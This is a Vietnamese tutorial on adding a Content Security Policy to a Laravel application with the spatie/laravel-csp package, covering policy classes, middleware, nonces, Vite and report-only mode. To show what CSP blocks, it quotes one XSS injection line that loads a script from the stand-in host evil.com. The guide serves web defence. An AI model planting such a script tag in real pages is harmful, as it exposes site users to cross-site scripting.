Triển khai Content Security Policy (CSP) trong Laravel
Cross-Site Scripting (XSS) vẫn là một trong những lỗ hổng web phổ biến nhất. Mặc dù Blade engine của Laravel mặc định escape dữ liệu đầu ra, nhưng chỉ dựa vào escape là chưa đủ. Content Security Policy (CSP) bổ sung một lớp phòng thủ quan trọng bằng cách kiểm soát các tài nguyên (scripts, styles, images) mà trình duyệt được phép tải.
CSP là gì?
CSP là một HTTP header nói với trình duyệt: "Chỉ tải script từ các domain này. Chỉ tải style từ các domain này. Chặn tất cả những thứ còn lại."
Ví dụ header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.google.com;
Nếu hacker tìm cách chèn <script src="http://evil.com/hack.js"></script>, trình duyệt sẽ từ chối tải nó vì evil.com không nằm trong danh sách trắng (whitelist).
Triển khai trong Laravel
Cách dễ nhất là sử dụng package spatie/laravel-csp.
1. Cài đặt
composer require spatie/laravel-csp
Publish file cấu hình:
php artisan vendor:publish --tag=csp-config
2. Tạo Policy
Tạo một class riêng để định nghĩa các luật của bạn.
// app/Support/Csp/BasicPolicy.php
namespace App\Support\Csp;
use Spatie\Csp\Directive;
use Spatie\Csp\Policies\Policy;
class BasicPolicy extends Policy
{
public function configure()
{
$this
->addDirective(Directive::BASE, 'self')
->addDirective(Directive::CONNECT, 'self')
->addDirective(Directive::DEFAULT, 'self')
->addDirective(Directive::FORM_ACTION, 'self')
->addDirective(Directive::IMG, 'self')
->addDirective(Directive::MEDIA, 'self')
->addDirective(Directive::OBJECT, 'none')
->addDirective(Directive::SCRIPT, 'self')
->addDirective(Directive::STYLE, 'self')
// Cho phép Google Fonts
->addDirective(Directive::STYLE, 'https://fonts.googleapis.com')
->addDirective(Directive::FONT, 'https://fonts.gstatic.com');
}
}
3. Đăng ký Policy
Trong config/csp.php, khai báo policy class:
'policy' => App\Support\Csp\BasicPolicy::class,
Và thêm middleware vào bootstrap/app.php:
// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
$middleware->web(append: [
\Spatie\Csp\AddCspHeaders::class,
]);
})
Xử lý Inline Scripts (Nonces)
Nếu bạn dùng công cụ như Vite hay AlpineJS, bạn sẽ thường có code JS nhúng trực tiếp (inline). CSP mặc định chặn inline scripts <script>...</script>.
Để khắc phục, ta dùng Nonce (number used once - mã số dùng một lần).
- Thêm
addNonceForDirective(Directive::SCRIPT)vào policy của bạn. - Sử dụng helper
nonce()trong Blade.
{{-- Trong layout --}}
<script nonce="{{ csp_nonce() }}">
console.log('Script này an toàn vì nó có nonce đúng.');
</script>
Tích hợp với Vite
Laravel Vite plugin tạo thẻ script tự động. Để thêm nonce vào các thẻ này, cập nhật layout.blade.php:
@vite(['resources/css/app.css', 'resources/js/app.js'], buildDirectory: 'build', nonce: csp_nonce())
Gỡ lỗi (Troubleshooting)
CSP có thể làm "vỡ" giao diện web nếu cấu hình sai (ví dụ chặn nhầm Google Analytics hay Stripe).
Mẹo: Bắt đầu với chế độ "Report Only".
Trong config/csp.php, set 'report_only_mode' => true.
Trình duyệt sẽ log các lỗi vào console (hoặc gửi về server) nhưng không chặn nội dung. Khi bạn thấy không còn lỗi nào, hãy tắt chế độ này để bắt đầu chặn thực sự.
Kết luận
CSP không phải là tính năng "cài đặt một lần rồi quên"; nó đòi hỏi bảo trì khi bạn tích hợp thêm các dịch vụ bên thứ 3. Tuy nhiên, đây là biện pháp giảm thiểu rủi ro XSS hiệu quả nhất. Với mọi ứng dụng Laravel nghiêm túc, CSP là bắt buộc.